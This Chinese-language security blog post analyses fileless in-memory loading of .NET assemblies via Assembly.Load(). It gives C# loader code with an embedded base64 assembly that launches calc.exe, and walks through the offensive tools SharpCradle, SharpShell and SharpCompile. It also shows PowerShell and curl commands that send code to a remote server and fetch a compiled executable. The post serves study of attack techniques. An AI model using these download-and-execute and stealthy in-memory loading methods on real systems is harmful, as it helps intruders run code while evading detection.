从内存加载.NET程序集(Assembly.Load)的利用分析
0x00 前言
在之前的文章《从内存加载.NET程序集(execute-assembly)的利用分析》介绍了"execute-assembly"
的实现方法和利用思路,能够从内存中加载.NET程序集。这个功能不需要向硬盘写入文件,十分隐蔽。
与此相似的方法还有一个是Assembly.Load
,同样能够从内存中加载.NET程序集。
本文将会结合三个开源工程,介绍Assembly.Load
的实现方法,分析利用思路。
0x01 简介
本文将要介绍以下内容:
- 基础知识
- SharpCradle的利用分析
- SharpShell的利用分析
- SharpCompile的利用分析
0x02 基础知识
参考资料:
https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.load?view=netframework-4.5
1.Assembly.Load()、Assembly.LoadFrom()和Assembly.LoadFile()的区别
Assembly.Load()是从String或AssemblyName类型加载程序集,可以读取字符串形式的程序集,也就是说,文件不需要写入硬盘
Assembly.LoadFrom()从指定文件中加载程序集,同时会加载目标程序集所引用和依赖的其他程序集
例如:
Assembly.LoadFrom("a.dll")
,如果a.dll中引用了b.dll,那么会同时加载a.dll和b.dll
Assembly.LoadFile()也是从指定文件中加载程序集,但不会加载目标程序集所引用和依赖的其他程序集
例如:
Assembly.LoadFile("a.dll")
,如果a.dll中引用了b.dll,那么不会加载b.dll
2.Assembly.Load()的实现示例
(1)编写测试程序
测试程序的代码如下:
using System;
namespace TestApplication
{
public class Program
{
public static void Main()
{
Console.WriteLine("Main");
}
}
public class aaa
{
public static void bbb()
{
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "c:\\windows\\system32\\calc.exe";
p.Start();
}
}
}
使用csc.exe进行编译:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:testcalc.exe test.cs
生成testcalc.exe
(2)读取testcalc.exe的内容,并作base64加密
代码如下:
using System;
using System.Reflection;
namespace TestApplication
{
public class Program
{
public static void Main()
{
byte[] buffer = System.IO.File.ReadAllBytes("testcalc.exe");
string base64str = Convert.ToBase64String(buffer);
Console.WriteLine(base64str);
}
}
}
(3)解密字符串变量,还原testcalc.exe的内容,使用Assembly.Load()加载程序集并调用方法bbb
代码如下:
using System;
using System.Reflection;
namespace TestApplication
{
public class Program
{
public static void Main()
{
string base64str = "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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==";
byte[] buffer = Convert.FromBase64String(base64str);
Assembly assembly = Assembly.Load(buffer);
Type type = assembly.GetType("TestApplication.aaa");
MethodInfo method = type.GetMethod("bbb");
Object obj = assembly.CreateInstance(method.Name);
method.Invoke(obj, null);
}
}
}
0x03 SharpCradle的利用分析
https://github.com/anthemtotheego/SharpCradle
SharpCradle支持从Web或文件共享下载二进制文件并在内存中加载
注:
这里需要在远程服务器上保存编译后的二进制文件
SharpCradle的代码很清晰直观,这里提取出调用Assembly.Load()的相关代码,内容如下:
public static void loadAssembly(byte[] bin, object[] commands)
{
Assembly a = Assembly.Load(bin);
try
{
a.EntryPoint.Invoke(null, new object[] { commands });
}
catch
{
MethodInfo method = a.EntryPoint;
if (method != null)
{
object o = a.CreateInstance(method.Name);
method.Invoke(o, null);
}
}//End try/catch
}//End loadAssembly
值得注意的是MethodInfo method = a.EntryPoint;
,表示调用的为入口函数
也就是说,被加载的程序集的主要功能要写在Main函数中,例如0x02中的示例代码:
using System;
namespace TestApplication
{
public class Program
{
public static void Main()
{
Console.WriteLine("Main");
}
}
public class aaa
{
public static void bbb()
{
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "c:\\windows\\system32\\calc.exe";
p.Start();
}
}
}
使用SharpCradle对其进行远程下载执行时,默认只会执行Main函数中的内容
0x04 SharpShell的利用分析
https://github.com/cobbr/SharpShell
SharpShell能够利用Rosyln C#编译器快速交叉编译.NET Framework控制台应用程序或库
注:
这里只需要代码文件,不需要编译后的二进制文件
SharpShell包括以下三个子工程:
- SharpShell
使用Rosyln C#编译器对输入的代码进行编译,通过内存加载后返回执行的结果
由于Roslyn只能在.NET Core或.NET 4.6+使用,不支持.NET 3.5和.NET 4.0
所以这里的SharpShell需要.NET 4.6+的环境才能运行
注:
在我的测试环境中,.NET 4.5也可以运行,如下图
- SharpShell.API
SharpShell.API需要.NET Core的开发环境,这里可以参考之前的文章《SharpGen利用分析》中SharpGen的开发环境配置
SharpShell.API使用ASP.NET Core 2.1调用Roslyn,作为http server,接收从SharpShell.API.SharpShell传来的代码,进行编译后回传生成的二进制文件
- SharpShell.API.SharpShell
SharpShell.API.SharpShell可在.NET 3.5和.NET 4.0使用,将代码文件以POST形式发送到http server,接收编译后的二进制文件,通过内存加载后返回执行的结果
这里只介绍同Assembly.Load()相关的工程SharpShell.API和SharpShell.API.SharpShell
1.测试环境搭建
(1)SharpShell.API
需要.NET Core的开发环境
git clone https://github.com/cobbr/SharpShell
cd .\SharpShell\SharpShell.API
dotnet build --configuration Release
cd .\bin\Release\netcoreapp2.1
dotnet SharpShell.API.dll
启动SharpShell.API后,访问:http://127.0.0.1:5000/swagger/index.html
如下图
(2)SharpShell.API.SharpShell
需要Visual Studio的开发环境,编译后生成文件SharpShell.API.SharpShell.exe
启动后输入测试命令Shell.ShellExecute("whoami");
如下图
2.实现流程
这里我使用wireshark抓取整个过程的通信数据,较为直观,如下图
流程如下:
- SharpShell.API.SharpShell发送POST请求
- SharpShell.API接收POST请求后,回复确认消息
HTTP/1.1 100 Continue
- SharpShell.API.SharpShell发送JSON格式的代码文件
- SharpShell.API接收代码文件,使用Rosyln C#编译器对代码文件进行编译,将生成的内容以base64的形式回复
- SharpShell.API.SharpShell将接收到的回复内容作base64解密,调用Assembly.Load()进行加载
综上,SharpShell.API.SharpShell也是调用了Assembly.Load()从内存中加载.NET程序集,同SharpCradle的区别如下:
SharpCradle需要在远程服务器上保存编译后的二进制文件
SharpShell只需要向远程服务器发送代码文件,不需要编译后的二进制文件
0x05 SharpCompile的利用分析
https://github.com/SpiderLabs/SharpCompile
SharpCompile包括以下两部分:
- SharpCompileServer
作为http server,用来接收POST请求传来的代码,进行编译后回传生成的二进制文件
这里使用csc.exe编译代码,而不是SharpShell中的Rosyln C#编译器
默认csc.exe版本:C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\csc.exe
注:
这里需要注意http server和本地.NET的版本是否一致
- SharpCompile.cna
Cobalt Strike的脚本文件,在使用前需要先指定http server的url和脚本文件保存的位置
默认使用curl将代码文件上传到http server,所以测试环境需要提前安装curl
1.实际测试
(1)开启http server
SharpCompileServer需要Visual Studio的开发环境,编译后生成文件SharpCompileServer.exe
执行SharpCompileServer.exe,开启http server,如下图
(2)http server的功能测试
向http server发送POST格式的代码,查看返回的内容
test.cs保存代码文件,内容如下:
using System;
namespace TestCalc
{
class Hello
{
static void Main(string[] args)
{
System.Diagnostics.Process.Start("calc.exe");
}
}
}
这里分别使用powershell和curl命令进行测试
- powershell
Invoke-RestMethod -Uri http://192.168.112.175 -Method Post -InFile .\test.cs -OutFile .\out.exe
以上命令会读取test.cs中的内容,发送至http server(http://192.168.112.175),将返回的文件保存为out.exe
注:
Invoke-RestMethod命令需要Powershell v3.0
- curl
curl --request POST --data-binary @test.cs -o out.exe http://192.168.112.175 -v
以上命令会读取test.cs中的内容,发送至http server(http://192.168.112.175),将返回的文件保存为out.exe
这里使用wireshark抓取整个过程的通信数据,如下图
(3)SharpCompile.cna测试
在我的测试环境下,SharpCompile.cna中的exec(@command);
命令无法执行,所以无法复现SharpCompile.cna的功能
2.实现流程
但是SharpCompile.cna的代码逻辑比较直观,实现流程如下:
- 调用curl命令将代码文件以post的形式发送至http server,接收内容并保存在本地
- 执行文件
- 删除文件
SharpCompile没有使用Assembly.Load()从内存中加载.NET程序集,而是保存在硬盘执行后删除
这里可以对其进一步修改,使用Assembly.Load()从内存中加载.NET程序集
0x06 三个开源工程的比较和利用思路
SharpCradle需要在远程服务器上保存提前编译好的二进制文件,下载后使用Assembly.Load()从内存中加载.NET程序集
SharpShell.API.SharpShell向远程服务器发送代码文件,服务器使用Rosyln C#编译器生成二进制文件,下载后使用Assembly.Load()从内存中加载.NET程序集
SharpCompile向远程服务器发送代码文件,服务器使用csc.exe生成二进制文件,下载到本地后直接执行
功能最为完整的是SharpShell.API.SharpShell,优点如下:
- 整个过程在内存执行,不写入文件系统
- 可生成指定.NET版本的二进制文件
- 仅需要c#格式的payload,当然也可以使用编译好的二进制文件(只能是.NET程序集)
在利用思路上,Assembly.Load
同execute-assembly
类似,区别在于payload的格式不同
0x07 小结
本文介绍了Assembly.Load的实现方法,结合三个开源工程SharpCradle、SharpShell和SharpCompile,分析细节,总结利用思路。